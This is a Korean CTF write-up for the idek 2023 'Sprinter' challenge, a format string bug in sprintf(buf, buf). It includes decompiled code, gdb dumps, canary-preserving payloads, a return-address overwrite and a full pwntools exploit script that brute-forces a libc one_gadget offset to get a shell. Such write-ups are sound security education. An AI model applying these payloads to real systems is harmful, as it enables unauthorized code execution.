idek CTF 2023 - Sprinter (*FSB*)

I’ve always found myself to be more of a distance runner than a sprinter, but sometimes you just have to sprint that final stretch.
nc sprinter.chal.idek.team 1337

  • [25 solves / 489 points]

Analysis

1
2
3
4
5
Canary                        : ✓ (value: 0xfe2ac7e4ac5ec700)
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial

canary가 존재한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int vuln()
{
size_t v0; // rax
char buf[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+108h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Enter your string into my buffer, located at %p: ", buf);
fgets(buf, 256, stdin);
v0 = (size_t)strchr(buf, 'n');
if ( !v0 )
{
v0 = strlen(buf);
if ( v0 <= 0x26 )
LODWORD(v0) = sprintf(buf, buf); // [*]
}
return v0;
}

[*] 에서 Format String Bug가 터진다. 안타깝게도 n을 필터링하고, sprintf(buf, buf) 형식으로 버그가 발생하기 때문에 문제 풀기 굉장히 까다롭다. 페이로드를 적어놨는데 포맷스트링을 실행(?)하면서 내가 적어놨던 페이로드가 덮힐 수도 있기 때문이다.

문제를 보며 가장 먼저 생각이 들었던 것은 n이 필터링 되어 있는데 어떻게 overflow를 일으켜서 어떻게 ret를 변조하느냐였다. 더욱이 canary가 존재했기 때문에 이것을 어떻게 우회하거나 leak할 지도 고민이었다. 하지만 여러가지 테스트를 진행한 결과 %c 등을 이용해서 overflow를 쉽게 일으킬 수 있었고 canary를 미리 구해놓는 과정이 필요하다고 판단했다.

이 문제가 까다로운 점이 한 가지 더 존재한다. 바로 페이로드의 길이 제한인데, strlen을 이용해서 페이로드의 길이를 구하고 있다.

이 문제의 환경은 Ubuntu 20.04이며 다행히 작동하는 one gadget이 존재한다. (문제 파일에 libc가 함께 포함되어 있다.)

Solve

기간 내에 이 문제를 풀지 못했기 때문에 위 블로그를 참고하여 공부를 진행했다.

0. $[]%[]c

뻘하게 헷갈렸던 개념이다.. 정확히는 $[offset]%[num]c으로 정의하고 싶다.

1
2
3
4
#include <stdio.h>
int main() {
printf("%100c\n", 'A');
}

이것의 출력 결과는 무엇일까? 99번 공백을 출력하고 마지막에 ‘A’를 출력한다.

1
2
3
4
#include <stdio.h>
int main() {
printf("%100s\n", "AA");
}

자매품으로 이것의 출력 결과는 98번 공백을 출력하고 마지막에 ‘AA’를 출력한다.

$[offset]의 의미는.. FSB에서 많이 보던 바로 그거다. offset 번째를 참조한다. 만약 %10$264c라면 먼저 공백 264개를 출력하고 10번째 offset을 참조한 값을 출력할 것이다.

1. Canary 보존

제일 먼저 해야할 일은 canary를 보존해야하는 것이다. (어떻게 보면 이 문제의 핵심이라고도 할 수 있겠다.) 그 전에 canary 직전까지 덮어보자.

1
2
3
4
5
6
7
8
payload = b'%10$264c'
print(len(payload))

# padding
payload += b'\0' * (0x26 - len(payload))
payload += b'\0' * 0x2

payload += p8(0x41) # 10

한 블록은 8바이트이기 때문에 패딩을 저렇게 줘야한다. 가독성을 위해 두 번 나누어서 작성했는데, 0x26의 의미는 문제에서 요구한 길이 제한이다.

payload를 저렇게 작성하게 되면 10번째 offset을 참고하여 264번의 공백 출력 후 마지막에 0x41을 출력한다. gdb 상에서 확인해보면 아래와 같다.

  • FSB 일으키기 전
1
2
3
4
5
6
7
0x007ffc4a31cb80│+0x0000: "%10$264c"     ← $rdx, $rsp, $rsi, $rdi, $r8
0x007ffc4a31cb88│+0x0008: 0x0000000000000000 # 6
0x007ffc4a31cb90│+0x0010: 0x0000000000000000 # 7
0x007ffc4a31cb98│+0x0018: 0x0000000000000000 # 8
0x007ffc4a31cba0│+0x0020: 0x0000000000000000 # 9
0x007ffc4a31cba8│+0x0028: 0x00034000000a41 ("A\n"?) # 10
...
  • FSB 일으킨 후
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x7ffc4a31cb80: 0x2020202020202020      0x2020202020202020
0x7ffc4a31cb90: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cba0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cbb0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cbc0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cbd0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cbe0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cbf0: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc00: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc10: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc20: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc30: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc40: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc50: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc60: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc70: 0x2020202020202020 0x2020202020202020
0x7ffc4a31cc80: 0x4120202020202020 0x5207f53f7a984d00
0x7ffc4a31cc90: 0x00007ffc4a31cca0 0x00000000004012fd

본격적으로 canary 보존을 시작해보자. ret를 덮기 위해서는 필수적으로 canary를 건드려야만 한다. 우리는 FSB를 이용하여 canary를 구한 다음에 써야 한다. 즉, 앞에서 말한 canary 보존은 canary를 leak한 다음 그 자리에 다시 써야하는 것을 의미한다.

1
2
3
4
5
6
7
8
9
payload = b'%5$264c'
payload += b'%4$c' # 0x00
payload += b'%10$.7s'

# # padding
payload += b'\0' * (0x26 - len(payload))
payload += b'\0' * 0x2

payload += p64(canary_addr + 1) # 10

5번째 오프셋은 0x25를 의미하고 4번째 오프셋은 r9 레지스터인 0x00이다.

1
0x7fff9a4022f0: 0x2563343632243525

10번째 오프셋은 canary_addr + 1을 의미하는데 +1의 의미는 canarynull 바이트부터 시작하기 때문이다. 그래서 canary_addr + 1부터 %.7s를 이용하여 7자리만 가져왔다. 앞에서 %4$c으로 null 바이트 한 바이트만 가져왔기 때문에 canary가 잘 보존되었으리라 생각된다.

%s를 이용하여 카나리를 전부 다 가져오게 되면 null 바이트 때문에 sprint 함수로 canary 출력을 하다가 끊긴다. 사실상 첫 바이트가 null이기 때문에 전혀 출력을 하지 못한다. 그래서 위와 같은 방법으로 출력을 해야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x7fff9a4022f0: 0x2020202020202020      0x2020202020202020
0x7fff9a402300: 0x2020202020202020 0x2020202020202020
0x7fff9a402310: 0x2020202020202020 0x2020202020202020
0x7fff9a402320: 0x2020202020202020 0x2020202020202020
0x7fff9a402330: 0x2020202020202020 0x2020202020202020
0x7fff9a402340: 0x2020202020202020 0x2020202020202020
0x7fff9a402350: 0x2020202020202020 0x2020202020202020
0x7fff9a402360: 0x2020202020202020 0x2020202020202020
0x7fff9a402370: 0x2020202020202020 0x2020202020202020
0x7fff9a402380: 0x2020202020202020 0x2020202020202020
0x7fff9a402390: 0x2020202020202020 0x2020202020202020
0x7fff9a4023a0: 0x2020202020202020 0x2020202020202020
0x7fff9a4023b0: 0x2020202020202020 0x2020202020202020
0x7fff9a4023c0: 0x2020202020202020 0x2020202020202020
0x7fff9a4023d0: 0x2020202020202020 0x2020202020202020
0x7fff9a4023e0: 0x2020202020202020 0x2020202020202020
0x7fff9a4023f0: 0x2520202020202020 0x92c29f2c0e8fb100
0x7fff9a402400: 0x00007fff9a402400 0x00000000004012fd

canary 보존에 성공했으면 rbp를 덮고 ret를 원하는 곳으로 돌려주면 끝이다.

2. ret를 덮어 흐름 변경하기

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = b'AAA%5$261c'
payload += b'%4$c' # 0x00
payload += b'%10$.7s'

# rbp
payload += b'%8c'
# ret
payload += b'%12$.3s%11$.5s'

print(hex(len(payload)))

# padding
payload += b'\0' * (0x26 - len(payload))
payload += b'\0' * 0x2

payload += p64(canary_addr + 1) # 10 canary
payload += p64(canary_addr + 8*4 + 3) # 11 libc
payload += p64(stack_leak) # 12 stack

sprintf(buf, buf);으로 FSB가 트리거 될 때 익스하는 것에서 가장 까다로운 점은 페이로드를 적어놓은 buf가 포맷스트링에 의해 덮힐 가능성이 존재한다는 것이다. 그래서 우리는 실행하고 싶은 주소를 페이로드 제일 앞에 적어주어 덮히지 않게 해야 한다.

ret 부분의 포맷스트링을 해석해보면 12번째 오프셋에서 3바이트를 가져오고 11번째 오프셋에서 5바이트를 가져오는 것을 의미한다. 12번째 오프셋에는 스택 주소가 적혀져 있으며 페이로드 첫 부분 3바이트를 가져오는 것을 의미한다. 11번째 오프셋은 libc 주소가 저장되어 있는데 정확한 값은 아래와 같다.

1
7f 78 55 18 d0 83

aslr 때문에 하위 1.5바이트를 제외하고 계속 변경된다. 우리가 사용할 one gadget offset은 3바이트이므로 5바이트만 정확한 값을 쓰고 나머지 3바이트를 one gadget offset을 사용한다. 물론 이 값은 페이로드 가장 첫 부분에 적혀 있어야 한다. 일단 이 부분은 AAA로 값을 적어놓고 3 글자 썼기 때문에 %264c%261c로 변경하였다.

이제 gdb 상으로 메모리를 살펴보자.

  • FSB 일으키기 전
1
2
3
4
5
6
7
0x007ffd1f0d4bb0│+0x0000: "AAA%5$261c%4$c%10$.7s%8c%12$.3s%11$.5s"       ← $rdx, $rsp, $rsi, $rdi, $r8
0x007ffd1f0d4bb8│+0x0008: "1c%4$c%10$.7s%8c%12$.3s%11$.5s"
0x007ffd1f0d4bc0│+0x0010: "0$.7s%8c%12$.3s%11$.5s"
0x007ffd1f0d4bc8│+0x0018: "%12$.3s%11$.5s"
0x007ffd1f0d4bd0│+0x0020: 0x0073352e243131 ("11$.5s"?)
0x007ffd1f0d4bd8│+0x0028: 0x007ffd1f0d4cb9 → 0xd0edc89128c0bcb7
0x007ffd1f0d4be0│+0x0030: 0x007ffd1f0d4cdb → 0x00001800007f7855
  • FSB 일으킨 후
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0x7ffd1f0d4bb0: 0x2020202020414141      0x2020202020202020
0x7ffd1f0d4bc0: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4bd0: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4be0: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4bf0: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c00: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c10: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c20: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c30: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c40: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c50: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c60: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c70: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c80: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4c90: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4ca0: 0x2020202020202020 0x2020202020202020
0x7ffd1f0d4cb0: 0x4120202020202020 0xedc89128c0bcb700
0x7ffd1f0d4cc0: 0xb020202020202020 0x00007f7855414141
0x7ffd1f0d4cd0: 0x0000000000000000 0x00007f785518d083

ret0x00007f7855414141로 잘 변조 되었다.


이제 one gadget을 이용하여 exploit을 진행해보자.

3. offset Brute forcing

사용할 one gadget 오프셋은 아래와 같다.

1
2
3
4
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

\x01\x3b\x0e 를 사용할 것인데 하위 1.5바이트 말고는 aslr 때문에 오프셋이 랜덤이니까 1/4096의 확률의 브루트포싱이 필요하다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

while True:
try:
# p = process('vuln')
p = remote('sprinter.chal.idek.team',1337)

p.recvuntil(b'0x',timeout=10)
stack_leak = int(p.recvn(12), 16)

print(f'stack_leak : {hex(stack_leak)}')
canary_addr = stack_leak + 0x108

payload = b'\x01\xfb\xff%5$261c'
payload += b'%4$c'
payload += b'%10$.7s'

# rbp
payload += b'%8c'
# ret
payload += b'%12$.3s%11$.5s'

# padding
payload += b'\0' * (0x26 - len(payload))
payload += b'\0' * 0x2

payload += p64(canary_addr + 1) # 10
payload += p64(canary_addr + 8*4 + 3) # 11
payload += p64(stack_leak) # 12

# pause()
p.sendline(payload)
print(repr(
p.recvn(100, timeout=1)
))
p.interactive()
break
except Exception as ex:
print(ex)